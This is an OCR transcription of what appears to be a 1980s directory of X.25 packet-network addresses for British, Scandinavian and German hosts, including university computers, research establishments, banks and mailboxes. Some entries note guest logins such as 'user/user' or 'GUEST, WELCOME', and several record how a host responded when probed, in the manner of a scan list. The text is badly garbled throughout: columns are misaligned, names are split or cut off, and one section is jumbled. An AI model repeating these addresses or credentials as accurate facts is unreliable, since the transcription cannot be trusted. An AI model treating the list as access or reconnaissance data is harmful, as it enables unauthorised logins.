| _  |              |     |     | 30398          |    | SWCFTP             |    | SWURCC (FTP)                                                           |
|    | 0234<br>0234 |     |     |                |    | KENT               |    | <pre>University of Kent ? (,Guest,Friend (call PIP))</pre>             |
| 21 | 0234         |     |     |                |    | TI                 |    | Texas Instruments Ltd                                                  |
|    | 0234         |     |     | 144            |    | BED5               |    | Prime R & D at Bedford (NFS)                                           |
|    | 0234         |     |     |                |    | TI                 |    | Texas Instruments Ltd                                                  |
| _  |              |     |     | 10998          |    | HLH                |    | High Level Hardware Ltd.                                               |
| В  | 0234         | 223 | 519 | 111            |    | AERE               |    | Atomic Energy Research Establishment at Harwell                        |
| Т  | 0234         | 223 | 519 | 11198          |    | ADA                |    | ADA UK Database                                                        |
|    |              |     |     | 119169         | )  |                    |    | JANET                                                                  |
|    | 0234         |     |     |                |    | DLVAFTP            |    | Daresbury SRS VAX (FTP)                                                |
| A  | 0234         |     |     |                |    | JANET              |    | Gateway to JANET at Rutherford                                         |
|    | 0234         |     |     |                |    | OUCSFTP            |    | OUCS VAX (FTP) - Experimental                                          |
|    | 0234<br>0234 |     |     |                |    | REVSFTP<br>RLDAFTP |    | ROE Starlink VAX (FTP) Rutherford DCS 11/70 (FTP)                      |
|    | 0234         |     |     |                |    | RLGBFTP            |    | RL GEC (FTP)                                                           |
|    | 0234         | 223 | 519 | 191            |    | RLIBFTP            |    | RL IBM 370 CMS (FTP)                                                   |
|    | 0234         |     |     |                |    | RLPCFTP            |    | L Prime C (FTP)                                                        |
|    | 0234         |     |     |                |    | SERCENO            |    | Gateway to SERCNET at Rutherford                                       |
|    | 0234<br>0234 |     |     |                |    | SERCENQ<br>SYPEFTP |    | SERCNET Acc & P/word Fac. Surrey Prime 550 (FTP)                       |
|    | 0234         |     |     |                |    | UEAFTP             |    | East Anglia via SERC (FTP)                                             |
|    |              |     |     |                |    |                    |    |                                                                        |

| 4 | .txt         |       | Tu    | e Oct | 05  | 05:46:35     | 20 | 21 8                       |                                 |
|---|--------------|-------|-------|-------|-----|--------------|----|----------------------------|---------------------------------|
| В | 0234         | 261   | 600   | 119   |     |              |    | Manchester                 |                                 |
|   | 0234         | 261   | 600   | 133   |     |              |    | IBM - SALE                 | (also FTP)                      |
| В | 0234         | 261   | 600   | 152   |     | UMDAFL       |    |                            | of Manchester Dataflow VAX      |
|   | 0234         | 261   | 643   | 143   |     | UMRCC        |    |                            | of Manchester Regional Computer |
|   |              |       |       |       |     |              |    | Centre                     | J 1                             |
|   | 0234         | 261   | 643   | 14398 |     | UMRFTP       |    | UMRCC (FTP)                |                                 |
|   | 0234         |       |       |       |     | SALF         |    | Salford Univ               | versity                         |
|   | 0234         | 261   | 643   | 21090 |     | SALFORD      |    | Salford -> 0               | GANNET                          |
|   | 0234         | 261   | 643   | 21090 |     | NRS          | 1  | NRS                        |                                 |
| В | 0234         | 261   | 643   | 343   |     | FERRANTI     |    | Feranti Comp               | puter Systems                   |
|   | 0234         | 261   | 643   | 365   |     |              |    | ICLBRA                     |                                 |
|   | 0234         | 261   | 643   | 36543 |     |              |    | ICL West Go                | rton 'B' Service                |
|   | 0234         | 261   | 643   | 36548 |     |              |    | ICL West Go                | rton 'X' Service                |
|   |              |       |       | 36577 |     |              |    |                            | rton Perq (also FTP)            |
|   | 0234         |       |       |       |     |              |    | Software Sc:               |                                 |
| В | 0234         |       |       |       |     |              |    | CDM/EH (=Ma:               | idenhead?)                      |
|   |              |       |       | 43300 |     |              |    |                            |                                 |
| В | 0234         |       |       |       |     | NUMAC        |    | _                          | of Newcastle                    |
| _ | 0234         |       |       |       |     |              |    | Primenet                   |                                 |
|   | 0234         |       |       |       |     |              |    | MAXXIM                     |                                 |
|   | 0234         |       |       |       |     |              |    | Farenham                   | (217227 1727 2017)              |
| Т | 0234         |       |       |       |     | 113 mm       |    | _                          | n (GUEST, WELCOME)              |
|   | 0234         |       |       |       |     | HATF         |    | Hatfield Pol               |                                 |
|   | 0234<br>0234 |       |       |       |     | DEC-RDG      |    |                            | ipment Ltd Reading              |
|   | 0234         |       |       |       |     | MODC<br>DECR |    | Modcomp DEC at Read:       | ina                             |
|   | 0234         |       |       |       |     | DECK         |    |                            | University of, Dept.of          |
|   | 0234         | 2/4   | 200   | 103   |     |              |    | Electronic 8               |                                 |
|   | 0234         | 274   | 200   | 103*D | COD | UCODUS       |    | Codus                      | a Elec                          |
|   | 0234         |       |       |       | COD | осороз       |    | DVY Computin               | na I.t.d                        |
|   | 0234         |       |       |       |     |              |    | DVI COMPUCII               | ng nea.                         |
|   | 0234         |       |       |       |     |              |    | GIS Ltd.                   |                                 |
|   | 0234         |       |       |       |     | BOC          |    |                            | gen (=The World Reporter??)     |
|   | 0234         |       |       |       |     | DATASOLV     | Ε  | as above                   | je (,                           |
|   | 0234         |       |       |       |     | EUROLEX      |    | British Oxy                | gen Company                     |
|   | 0234         |       |       |       |     |              |    | Lynx Compute               |                                 |
|   | 0234         |       |       |       |     |              |    |                            | mputer Services Ltd.            |
|   | 0234         | 275   | 317   | 177   |     | GSI          |    | GSI (NFS)                  |                                 |
|   | 0234         | 278   | 228   | 282   |     |              |    | ICL Letchwor               | rth                             |
|   | 0234         |       |       |       |     |              |    | ICL Letchwor               | rth                             |
|   | 0234         |       |       |       |     |              |    | Culham, (VA)               | X)                              |
|   | 0234         |       |       |       |     | ALVEY        |    | Alvey Electi               | ronic Mail                      |
| В | 0234         |       |       |       |     |              |    | UXB                        |                                 |
|   | 0234         |       |       |       |     | YORK         |    |                            | sity PSS Gateway                |
| В | 0234         |       |       |       |     | YORKFTP      |    | York Univers               |                                 |
|   | 0234         |       |       |       |     |              |    | _                          | DEC-10 At York                  |
|   |              |       |       | 16804 |     | YORKTS       |    | York TS29 Po               |                                 |
|   | 0234         |       |       |       |     | RSRE         |    |                            | e Research Establishment        |
|   |              |       |       | 24203 |     | RSREDL       |    | RSRE                       |                                 |
|   |              |       |       | 24204 |     | RSRESNK      | ,  | RSRE                       | Decemb Retablishment for        |
|   | 0234         | ∠ ⊅ ∪ | J 2 4 | 24250 |     | RSREA        | J  | Radio, Space<br>ALVEY mail | Research Establishment for      |
|   | 0234         | 290   | 840   | 111   |     | POLIS        |    | SCION                      |                                 |
|   | 0234         |       |       |       |     | SCICON       |    | SCICON, Sout               | th England                      |
|   | 0234         |       |       |       |     | DL           |    |                            | esbury Laboratory               |
|   | 0234         |       |       |       |     |              |    | DATASOLVE L                |                                 |
|   | 0234         |       |       |       |     | BOC          |    |                            | gen Company (NFS)               |
| D | 0234         |       |       |       |     | ARTTEL       |    |                            | rary, Boston Spa                |
|   | 0234         |       |       | 265   |     |              |    |                            | rary Lending Divi.              |
|   | 0234         |       |       |       |     | NOLTON       |    |                            | unications Ltd. (NFS)           |
|   | 0234         |       |       |       |     |              |    | Euronet                    | ()                              |
|   | 0234         |       | 813   |       |     | EUROINFO     |    | Euronet Diam               | ne Information Service          |
|   | 0234         |       | -     |       |     | TELEX        |    | UK Telex net               |                                 |
|   | 0234         |       | 992   | 0     |     | DECTELX      |    |                            |                                 |
| I |              |       |       | 00165 |     |              |    |                            |                                 |
|   | 0238         |       | -     |       |     | DK           |    | Denmark                    |                                 |
|   | 0238         | 2     |       |       |     |              |    | Datapak                    |                                 |
| Α | 0238         | 241   | 592   | 400   |     |              |    | Valby I/S Da               | atacentralen                    |
| Α | 0238         | 241   | 745   | 600   |     | RECKU        |    |                            | openhagen University            |
|   | 0238         | 241   | 745   | 60000 |     |              |    | Recku Univa                | c (Enter @@ENQ)                 |
|   |              |       |       |       |     |              |    |                            |                                 |

| 4.txt Tue Oct 05                             | 05:46:35 2    | 021 9                                                                       |
|----------------------------------------------|---------------|-----------------------------------------------------------------------------|
| 0238 241 745 60002                           | UDIKU         |                                                                             |
| A 0238 242 126 400                           |               | Lyngby DTB; I/S Datacentralen                                               |
| I 0238 389 3                                 | 0             | Euronet Aarhus                                                              |
| 0240<br>I 0240 181 559 76                    | S<br>LIUIDA S | Sweden Linkvping LiUIDA Teletex                                             |
| 0240 2                                       | HIOIDA 5      | Datapak                                                                     |
| A 0240 200 002 05                            |               | Uppsala STUNS VAX/UNIX KULING                                               |
| I 0240 200 044 4                             | ENEA          | ENEA                                                                        |
| A 0240 200 100 110                           |               | Stockholm QZ/DEC-10                                                         |
| A 0240 200 100 120                           |               | Stockholm QZ/CD Cyber 730                                                   |
| O 0240 200 100 203<br>A 0240 200 100 205     |               | Uppsala, UU, Teknikum, NORD 100/500<br>Uppsala, UU, Stuns, VAX 750          |
| A 0240 200 100 206                           |               | Uppsala, UDAC/DECnet RTR18A                                                 |
| 0 0240 200 100 207                           |               | Uppsala, UDAC, Cyber 835                                                    |
| A 0240 200 100 228                           |               | Uppsala, UDAC/UPNET - Terminalnaet                                          |
| A 0240 200 100 232                           |               | Uppsala, UDAC, IBM/GUTS (BASF 7/68 ?)                                       |
| O 0240 200 100 28<br>? 0240 200 100 30       |               | Uppsala Upnet<br>Umeaa VAX-750 Skogsh. Umeaa Univ                           |
| A 0240 200 100 303                           |               | Umeaa, UMDAC/BIOVAX                                                         |
| A 0240 200 100 304                           |               | Umeaa, Skogshoegskolan, VAX 750                                             |
| A 0240 200 100 305                           |               | Umeaa, UMDAC/DECnet RTR09A, (Vax 11/750)                                    |
| A 0240 200 100 30520                         |               | Umeaa, UMDAC/BASUN                                                          |
| A 0240 200 100 30540<br>A 0240 200 100 30550 |               | Umeaa, UMDAC/UTB1 (Vax 11/780)                                              |
| A 0240 200 100 30550<br>A 0240 200 100 30570 |               | Umeaa, UMDAC/UTB2 (Vax 11/750)<br>Umeaa, UMDAC/OSTVAX (Vax 11/780, Hoegsk i |
| 11 0210 200 100 30370                        |               | Oe-sund)                                                                    |
| A 0240 200 100 307                           |               | Umeaa, UMDAC/Cyber 850                                                      |
| D 0240 200 100 312                           |               | Luleaa, Tekn hoegsk, NORD 100                                               |
| D 0240 200 100 313                           |               | Luleaa, Tekn hoegsk, NORD 100                                               |
| A 0240 200 100 328<br>D 0240 200 100 33      |               | Umeaa, UMDAC/NUNET - Terminalnaet<br>Umeaa VAX-11/780                       |
| A 0240 200 100 33<br>A 0240 200 100 403      |               | Linkoeping, ULi/LIUIDA, uVAX-I                                              |
| D 0240 200 100 404                           |               | Linkoeping, ULi/PDP 11/23 BULL                                              |
| A 0240 200 100 405                           |               | Linkoeping, LIDAC, VAX 11/780 VIKTOR                                        |
| A 0240 200 100 407                           |               | Linkoeping, LIDAC/DECnet RTR13A, uVAX-II                                    |
| D 0240 200 100 432<br>A 0240 200 100 7       |               | Linkoeping, LIDAC/TEXAS - Terminalnaet Primenet                             |
| A 0240 200 100 7<br>A 0240 200 101 903       |               | Stockholm, SU, Psykologi, Prime 750                                         |
| A 0240 200 101 904                           |               | Stockholm, QZ IBM (Amdahl)                                                  |
| A 0240 200 101 905                           |               | Stockholm, QZ, NFRVAX                                                       |
| A 0240 200 101 907                           |               | Stockholm, QZ/DECnet RTR08A                                                 |
| A 0240 200 101 914<br>D 0240 200 101 926     |               | Stockholm, SU, Fysik, Vax 780<br>Stockholm, KTH/KTHNET - Terminalnaet       |
| A 0240 200 101 928                           |               | Stockholm, QZ/QZNET - Terminalnaet                                          |
| 0 0240 200 102 06                            |               | Uppsala UDAC uVAX-II RTR18A                                                 |
| 0 0240 200 102 07                            |               | Uppsala CD Cyber 835                                                        |
| A 0240 200 102 7                             |               | Stockholm DEC-10/Janus                                                      |
| A 0240 200 102 71<br>A 0240 200 201 603      |               | Stockholm DEC-10/Janus<br>Goeteborg, CTH, Infobeh, VAX 750, Unix            |
| D 0240 200 201 603                           |               | Goeteborg, GU, Pedagogiska inst, Prime 550                                  |
| A 0240 200 201 605                           |               | Goeteborg, GU, Statistiska inst, Prime 550                                  |
| D 0240 200 201 606                           |               | Goeteborg, CTH, Tillaempad Elektronik, VAX                                  |
|                                              |               | 750                                                                         |
| A 0240 200 201 607                           |               | Goeteborg, Tillaempad Elektronik/DECnet RTR31A (RTR18A ?)                   |
| A 0240 200 201 628                           |               | Goeteborg, GD/GUCNET - Terminalnaet                                         |
| D 0240 200 201 632                           |               | Goeteborg Upnod                                                             |
| A 0240 200 205 4                             |               | SCB                                                                         |
| A 0240 200 278 0                             |               | Oerebro, Hoegskolan, Prime                                                  |
| A 0240 200 292 6<br>D 0240 200 310 204       |               | Karlstad, Hoegskolan, VAX 11/780<br>Lund, Fysikum, NORD 500, Lucas          |
| 0 0240 200 310 204                           |               | Lund, Maxlab, NORD 100                                                      |
| A 0240 200 310 207                           |               | Lund, LDC/DECnet RTR46A, uVAX-II                                            |
| A 0240 200 310 20720                         |               | Lund, LDC/GEMINI, Vax 8350                                                  |
| A 0240 200 310 228                           |               | Lund, LDC/LUNET - Terminalnaet                                              |
| 0240 201 001 30                              |               | Stockholm QZ/Amdahl                                                         |
| 0240 201 002 03<br>0240 5                    | SWEDEN        | Uppsala Teknikum Nord 100/500<br>Swedish data network (Telepak)             |
| I 0240 500 025 3                             | QZXB          | QZ by yet another route                                                     |
| I 0240 500 025 7                             |               | Stockholm, DEC, VAX                                                         |
|                                              |               |                                                                             |

| 4 | .txt |     | Tu  | e Oct | 05 | 05:46:35 | 20 | 21        | 10                                |
|---|------|-----|-----|-------|----|----------|----|-----------|-----------------------------------|
| Т | 0240 | 501 | 50  |       |    |          |    | Scannet,  | Gotebora                          |
|   | 0240 |     |     |       |    |          |    |           | Helsingfors                       |
|   | 0240 |     |     |       |    |          |    |           | n KTH/TTDS                        |
|   | 0240 |     |     | 0     |    | QZCOM    |    |           | Stockholm University DEC-10       |
|   | 0240 |     |     |       |    | QZCB     |    | QZ Cyber  | becommon oniversity bill it       |
|   | 0240 |     |     |       |    | QZIB     |    | QZ Amdahl |                                   |
|   | 0240 |     |     |       |    | UPPS     |    |           | network, Sweden                   |
|   | 0240 |     |     | 3     |    | 0110     |    |           | rg, Sweden                        |
|   | 0240 |     |     |       |    | LUND     |    | Lund Univ |                                   |
|   | 0240 |     |     | •     |    |          |    |           | CP9500 HYLK B7800                 |
|   | 0240 |     |     |       |    |          |    |           | Stockholm                         |
|   | 0240 |     |     |       |    |          |    | •         | Copenhagen Scannet                |
|   | 0240 |     |     |       |    |          |    | Tandem Co |                                   |
|   | 0240 |     |     | 8     |    | QZXA     |    |           | n via reverse PAD (=UPNET?)       |
|   | 0240 |     |     |       |    | 2        |    | Oden, Swe | ·                                 |
|   | 0240 |     |     |       |    | QZDA     |    | QZ DEC-10 |                                   |
|   | 0240 |     |     | _     |    | £        |    | Prime Com |                                   |
| I | 0240 | 502 | 0.5 |       |    |          |    |           | as PAD ASEA Multics               |
|   | 0240 |     |     |       |    |          |    | KEMIDATA  |                                   |
|   | 0240 |     |     |       |    | OZXB     |    |           | another route                     |
|   | 0240 | 515 | 330 |       |    | ~        |    | Amdahl    |                                   |
|   | 0242 |     |     |       |    | N        |    | Norway    |                                   |
|   | 0242 | 2   |     |       |    | NORWAY   |    | -         | n data network (Datapak/Norpak)   |
|   | 0242 |     | 010 | 1013  |    |          |    | PSS DOC   | (                                 |
| Х |      |     |     | 00107 |    | OSLO     |    |           | DEC-net/PSI at Oslo University    |
|   |      |     |     | 001*D | 02 |          |    |           | BRU-nett UNINETT                  |
| D | 0242 | 211 | 000 | 001*D | 03 | OSLO     |    | DEC-10 at | Oslo University                   |
|   |      |     |     | 00100 |    |          |    |           | DEC-1099 UNINETT                  |
| D | 0242 | 211 | 000 | 002   |    |          |    | Oslo Scar | nnet NSI Nord-100                 |
| D | 0242 | 211 | 000 | 01018 |    | DATAPIN  |    |           | Info - Norway                     |
| В | 0242 | 211 | 000 | 074   |    |          |    | Oslo VAX  | 1                                 |
| Т | 0242 | 223 | 000 | 00151 |    | RBK      |    | Cyber 170 | ) at IFE (Energy Research Centre) |
| Т | 0242 | 223 | 000 | 001*D | 00 | RBK      |    |           | ) at IFE, Kjeller RBK UNINETT     |
| D | 0242 | 223 | 000 | 002   |    |          |    |           | FFI UNINETT                       |
| D | 0242 | 245 | 000 | 00101 |    | BERGEN   |    | Univac at | Bergen University (UNINETT)       |
| D | 0242 | 245 | 000 | 001*D | 00 | BERGEN   |    |           | Bergen University                 |
| Α | 0242 | 245 | 013 | 4     |    |          |    | BBB Mailk | oox (Bergen By Byte)              |
|   | 0242 | 253 | 000 | 001*D | 11 |          |    |           | n UNINETT RUNIT UNIVAC            |
| Т | 0242 | 253 | 000 | 00101 |    | RNI      |    | Univac at | Trondheim University              |
| Χ | 0242 | 253 | 000 | 00103 |    |          |    |           | n RUNIT UNINETT VAX-780 (=PUNIT   |
|   |      |     |     |       |    |          |    | (EANNET)  | ?)                                |
| Т | 0242 | 253 | 000 | 00104 |    |          |    | Trondheim | n NLHT UNINETT VAX-750            |
|   | 0242 | 265 | 000 | 001*D | 00 |          |    | Tromso UN | NINETT U of Tromso, Cyber 171     |
|   | 0242 | 253 | 000 | 001*D | 11 | RUNIT    |    | Univac at | Trondheim University              |
|   | 0242 | 265 | 000 | 001*D | 81 |          |    | Tromso UN | NINETT U of Tromso, NORD-10       |
|   | 0242 | 265 | 000 | 001*D | 82 |          |    | Tromso UN | NINETT U of Tromso, NORD-100      |
|   | 0242 | 265 | 000 | 001*D | 83 |          |    | Tromso UN | NINETT U of Tromso, NORD-500      |
|   | 0242 | 265 | 000 | 00101 |    | TROMSOE  |    | Cyber 170 | ) at Tromsoe University (UNINETT) |
|   | 0242 | 265 | 000 | 001*D | 81 | TROMSO   |    | ELAN at 1 | Tromsoe University                |
| Χ | 0242 | 265 | 000 | 106   |    |          |    | PORTACOM  | (PORTACOM)                        |
|   | 0244 |     |     |       |    | SF       |    | Finland   |                                   |
|   | 0244 | 2   |     |       |    |          |    | Datapak ( | (Finpak)                          |
| Α | 0244 | 202 | 006 |       |    |          |    | Economics |                                   |
| Α | 0244 | 202 | 007 |       |    |          |    | Universit | ty of Helsinki, B7800 (=CANDE ?)  |
|   | 0244 |     |     |       |    |          |    | VTKK (Sta | aten DC) IBM 360                  |
| Α | 0244 | 202 | 012 |       |    |          |    | U o Helsi | inki Mopo Mikko3                  |
| Α | 0244 | 203 | 800 |       |    | HELVA    |    | High Ener | rgy Physics Vax 11/750            |
| Α | 0244 | 203 | 017 |       |    |          |    | U of Tech | nnology DEC-20                    |
|   | 0244 |     |     |       |    |          |    |           | L University of Tampere VAX       |
| Α | 0244 | 253 | 001 |       |    |          |    | Tech U of | f Lappeenranta VAX/VMS            |
| Α | 0244 | 261 | 001 |       |    |          |    | U of Vaas | sa VAX/VMS                        |
| Α | 0244 | 273 | 002 |       |    |          |    | Universit | cy of Joensuu VAX                 |
| D | 0248 | 321 | 321 |       |    |          |    | DWENT-SDC | C Search Service                  |
|   | 0262 |     |     |       |    | D        |    | Germany   |                                   |
|   | 0262 |     |     |       |    |          |    | Euronet   |                                   |
| X | 0262 |     | 4   |       |    |          |    | INFAS     |                                   |
|   | 0262 |     |     |       |    | GERMANY  |    | German da | ata network (Datex-P)             |
|   |      |     |     | 10706 |    |          |    |           |                                   |
|   |      |     |     | 11065 |    |          |    |           |                                   |
| D | 0262 | 432 | 210 | 43002 |    |          |    | Apple     |                                   |
|   |      |     |     |       |    |          |    |           |                                   |

| 4.txt                    | Tu          | e Oct | 05 | 05:46:35 | 2021 11                                                                  |
|--------------------------|-------------|-------|----|----------|--------------------------------------------------------------------------|
| Ar0262 432               | 210         | 93001 |    |          | Quick-Com                                                                |
| Y 0262 442               |             |       |    |          |                                                                          |
| 0 0262 442               | 110         | 40325 |    |          | OKI                                                                      |
| Y 0262 442               | 110         | 49130 |    |          | PAD Frankfurt                                                            |
| Y 0262 442               |             |       |    |          |                                                                          |
| Y 0262 442               |             |       |    |          |                                                                          |
| I 0262 442               |             |       |    |          | KIS (info)                                                               |
| I 0262 442               |             |       |    |          | -l                                                                       |
| A 0262 442<br>Y 0262 442 |             |       |    |          | elma-mailbox (~pim)                                                      |
| 0 0262 442               |             |       |    |          | Bibliothek Chemie                                                        |
| I 0262 442               |             |       |    |          | Chemie                                                                   |
| I 0262 442               |             |       |    | RMI      | RMI Mailbox Aachen                                                       |
| I 0262 442               |             |       |    |          | CMES                                                                     |
| 0 0262 442               | 461         | 40343 |    |          |                                                                          |
| Y 0262 443               |             |       |    |          |                                                                          |
| A 0262 443               |             |       |    |          | ?                                                                        |
| Y 0262 443               |             |       |    |          | CCC Hamburg (Climak) Hashankan (1 1 mg)                                  |
| I 0262 444<br>Y 0262 444 |             |       |    |          | CCC Hamburg (Clinch), Hackerbox (1 line) Allgemeine Bank der Niederlande |
| 0 0262 444               |             |       |    |          | Batig Beteiligungen GmbH                                                 |
| A 0262 444               |             |       |    |          | Master Control System (MCS) Hamburg                                      |
| Y 0262 444               |             |       |    |          | indeed consider system (inde, indimedia                                  |
| Y 0262 444               |             |       |    |          | Osnabrueck, Driverstr.24, 2848 Vechta                                    |
| I 0262 445               | 110         | 30317 |    |          | Metereologie                                                             |
| I 0262 445               | 110         | 90323 |    |          | Bibliothek                                                               |
| I 0262 446               |             |       |    |          | DECATES - Oberramstadt                                                   |
| Y 0262 446               |             |       |    |          |                                                                          |
| Y 0262 446               |             |       |    |          |                                                                          |
| Y 0262 446<br>O 0262 446 |             |       |    |          | IBD Online Frankfurt a.M.                                                |
| I 0262 446               |             |       |    |          | Chemie                                                                   |
| Y 0262 446               |             |       |    |          | CITCHILE                                                                 |
| Y 0262 446               |             |       |    |          |                                                                          |
| I 0262 446               | 900         | 90286 |    |          | RZ                                                                       |
| Y 0262 446               |             |       |    |          |                                                                          |
| 0 0262 447               |             |       |    |          | Organische Chem.                                                         |
| Y 0262 447               |             |       |    |          |                                                                          |
| I 0262 447               |             |       |    |          | Emery                                                                    |
| I 0262 447<br>Y 0262 447 |             |       |    |          | Online-Literaturdok.                                                     |
| A 0262 447               |             |       |    |          | Chemie                                                                   |
| I 0262 448               |             |       |    |          | Luma Uni                                                                 |
| 0 0262 448               |             |       |    |          | Genesys EDV-Systeme                                                      |
| Y 0262 448               |             |       |    |          |                                                                          |
| A 0262 448               |             |       |    |          | Phoenix                                                                  |
| Y 0262 448               |             |       |    |          |                                                                          |
| A 0262 448               |             |       |    |          | Max Planck Institut                                                      |
| Y 0262 448               |             |       |    |          | LMU Bibliothek                                                           |
| Y 0262 448<br>I 0262 449 |             |       |    |          | Apel Hans-Joerg                                                          |
| I 0262 449               |             |       |    |          | ???                                                                      |
| I 0262 450               |             |       |    |          |                                                                          |
| I 0262 451               |             |       |    |          |                                                                          |
| 0 0262 452               | 010         | 40116 |    |          | AEG-Telefunken                                                           |
| I 0262 452               |             |       |    |          | RZ Uni Essen                                                             |
| I 0262 452               |             |       |    |          | Apotheke Dr.Schiemes                                                     |
| I 0262 452               |             |       |    |          | DVO Datenverarbeitung                                                    |
| I 0262 452               |             |       |    |          | ?<br>3M Mailbox                                                          |
| I 0262 452<br>I 0262 452 |             |       |    |          | 3M Mailbox                                                               |
| I 0262 452               |             |       |    |          | RZU Duesseldorf (ND100)                                                  |
| I 0262 452               |             |       |    |          | CIERR 1402                                                               |
| I 0262 452               |             |       |    |          | ADV-Orga-Meyer & Co.                                                     |
| I 0262 452               | 110         | 40018 |    |          | ADV-Orga-Meyer & Co.                                                     |
| Ar0262 452               |             |       |    |          | Primenet Stadt Duesseldorf,                                              |
| I 0262 452               |             |       |    |          | ADAC                                                                     |
| I 0262 452               |             |       |    |          | Uni Duesseldorf                                                          |
| Dr0262 452<br>D 0262 452 |             |       |    |          | RZU Duesseldorf (Siemens 7.570)                                          |
| D 0202 432               | <b>TT</b> 0 | 40102 |    |          | 170 DRESSETROIT (STEWENS 1.310)                                          |

| 4.txt Tu                         | e Oct 05   | 05:46:35 2 | 2021 12                                     |
|----------------------------------|------------|------------|---------------------------------------------|
| D 0262 452 110                   | 40123      |            | Data General                                |
| Ar0262 452 110                   |            |            |                                             |
| Dr0262 452 110                   |            |            | MOKDII IM /OD                               |
| A 0262 452 110<br>I 0262 452 110 |            |            | MCKDU VM/SP                                 |
| I 0262 452 110                   |            |            | Applid-Data-Research<br>OKI-GmbH            |
| I 0262 452 110                   |            |            | Software-Express                            |
| I 0262 452 210                   |            |            | 1                                           |
| Yr0262 452 210                   | 40002      |            | DIMDI Fep 1 Koeln                           |
| Ar0262 452 210                   |            |            | Primenet (MicroVMS V4.5)                    |
| A 0262 452 210                   |            |            | DIMDI Fep 2 Koeln (Medical docs)            |
| I 0262 452 210<br>I 0262 452 210 |            |            | Kaufhof AG                                  |
| Ar0262 452 210                   |            |            | ADAC<br>Primenet                            |
| A 0262 452 210                   |            |            | DIMDI1 (German Med. Inst., Koeln)           |
| Yr0262 452 210                   |            |            | ,                                           |
| 0 0262 452 210                   | 40136      |            | AEG-Telefunken                              |
| I 0262 452 210                   |            |            | Allianz RZ                                  |
| I 0262 452 210                   |            |            | Allianz RZ                                  |
| I 0262 452 210                   |            |            | RZ Uni Koeln                                |
| I 0262 452 210<br>I 0262 452 210 |            |            | Allianz RZ<br>Allianz RZ                    |
| I 0262 452 210                   |            |            | Kaufhof AG (RZ 2)                           |
| D 0262 452 210                   |            |            | Geophysik und Meteorologie                  |
| Ir0262 452 210                   |            |            | ?                                           |
| A 0262 452 241                   | 24104      |            | VAX                                         |
| A 0262 452 241                   |            |            | GMD2                                        |
| A 0262 452 241                   |            |            | GMDZI                                       |
| A 0262 452 280                   |            | DNIXIA     | GMD (TSO)                                   |
| A 0262 452 280<br>Ar0262 452 280 |            | BNVA       | Bonn VAX (PI)<br>Infas GmbH (VM)            |
| D 0262 452 280                   |            |            | Amtsgericht                                 |
| A 0262 452 310                   |            | EMX1       | EMEX-Mailbox (Guest)                        |
| I 0262 452 310                   | 40017      |            | Primenet                                    |
| 0 0262 452 310                   |            |            | AEG-Telefunken                              |
| A 0262 452 310                   |            |            | Informatik                                  |
| A 0262 452 310<br>I 0262 452 310 |            | UNIDO      | University of Dortmund Primenet             |
| I 0262 452 310                   |            |            | Uni Dortmund (Siemens 7.760)                |
| A 0262 452 310                   |            |            | Dortmund                                    |
| D 0262 452 340                   |            |            | Primenet = RZU Bochum (CDL 855) ??          |
| A 0262 452 340                   | 40194      | RUB        | Cyber 205 (=855?), Ruhr University - Bochum |
|                                  |            |            | (RUB)                                       |
| D 0262 452 410                   |            |            | Aachener + Muenchener Versicherung          |
| I 0262 452 410<br>I 0262 452 410 |            |            | ???<br>rmi-aachen                           |
| A 0262 452 410                   |            |            | RMI Datentechnik Aachen                     |
| I 0262 452 433                   |            |            | OPTEL (Ruehlemann-Box)                      |
| I 0262 452 461                   |            |            | Kfz Juelich                                 |
| A 0262 452 710                   |            |            | Uni Siegen, FB Physik (VAX 11/750)          |
| D 0262 452 931                   |            |            | Handwerkskammer (HWK) Arnsberg              |
| I 0262 453 000                   |            |            | GFC-AG                                      |
| D 0262 453 000<br>D 0262 453 000 |            | HMI        | Vax<br>HMI in Berlin                        |
| A 0262 453 000                   |            | IIIII      | Siemens                                     |
| A 0262 453 000                   |            |            | Siemens                                     |
| A 0262 453 000                   |            |            | Hahn-Meitner-Institut Berlin                |
| D 0262 453 000                   | 21714      |            | ???                                         |
| D 0262 453 000                   |            |            | Uni Berlin                                  |
| Y 0262 453 000                   |            | DEDITY     | GFC AG                                      |
| Ar0262 453 000<br>I 0262 453 000 |            | BERLIN     | Tech. Univ. Berlin (Computer Science) ADAC  |
| I 0262 453 000                   |            |            | ADAC<br>ABC Barkredit Bank                  |
| I 0262 453 000                   |            |            | David Verlag                                |
| I 0262 453 000                   |            |            | COM-Box Berlin                              |
| A 0262 453 000                   | 20205      |            | CN01                                        |
| A 0262 453 000                   |            |            | netmbx, Berlin                              |
| A 0262 453 000                   |            |            | COM.BOX, Berlin                             |
| A 0262 453 000<br>I 0262 453 002 |            | HMI        | ? (GUEST) Hans Mietner Institute in Berlin  |
| 1 0202 433 002                   | <b>1</b> / | 111.17     | wans arecher institute in perili            |

```
4.txt
                  Tue Oct 05 05:46:35 2021
 I 0262 453 004 0023
                                                      Uni Berlin
 I 0262 453 210 40017
                                                      tymnet-gateway
 I 0262 454 000 30029
                                               (immediately drops the line)
COM-PLETE (?) (command prefix is '*')
(immediately drops the line)
 A 0262 454 000 30035
 A 0262 454 000 30041
 A 0262 454 000 30046
                                                     (immediately drops the line)
 0 0262 454 000 30071
                                                   (cierr 1402)
? ("INVALID COMMAND SYNTAX")
 A 0262 454 000 30090
 A 0262 454 000 30104
                                    Host
(cierr 1402)
? (no reacti
 A 0262 454 000 30105
 A 0262 454 000 30110
 A 0262 454 000 30113
 A 0262 454 000 30138
                                                    ? (no reaction)
 D 0262 454 000 30150
 D 0262 454 000 30158
 A 0262 454 000 30175
                                                     ? ("INVALID COMMAND SYNTAX")
                                    E2000 Hamburg VAX
Hasylab VAX (user/user)
HERA Magnet Measurement VAX 750 (=Krista
 D 0262 454 000 30187
 0 0262 454 000 30201
 A 0262 454 000 30202
                                                    Cryogenics Control ?)
 A 0262 454 000 30215
                                                     ? ("INVALID COMMAND SYNTAX")
 D 0262 454 000 30259
 D 0262 454 000 30261
 A 0262 454 000 30296
                                                    DFH2001I
 A 0262 454 000 30502
 I 0262 454 000 30519
                                           DFH2001I
Primenet 20.0.4 DREHH
Hahn Egon RZ !! Code: EBCDIC !!
???
???
Primenet MUF
SCHERAX
???
? (no reaction)
Airbus
 A 0262 454 000 30566
 0 0262 454 000 30578
 I 0262 454 000 40014
 I 0262 454 000 40015
Jaz

July 40044

July 252 454 000 40053

Y 0262 454 000 40078

A 0262 454 000 40103

I 0262 454 000 40109

I 0262 454 000 40111

D 0262 454 000 40198

I 0262 454 000 40198

I 0262 454 000 40198

I 0262 454 000 50233

I 0262 454 000 8001 DYVA

D 0262 454 000 90047

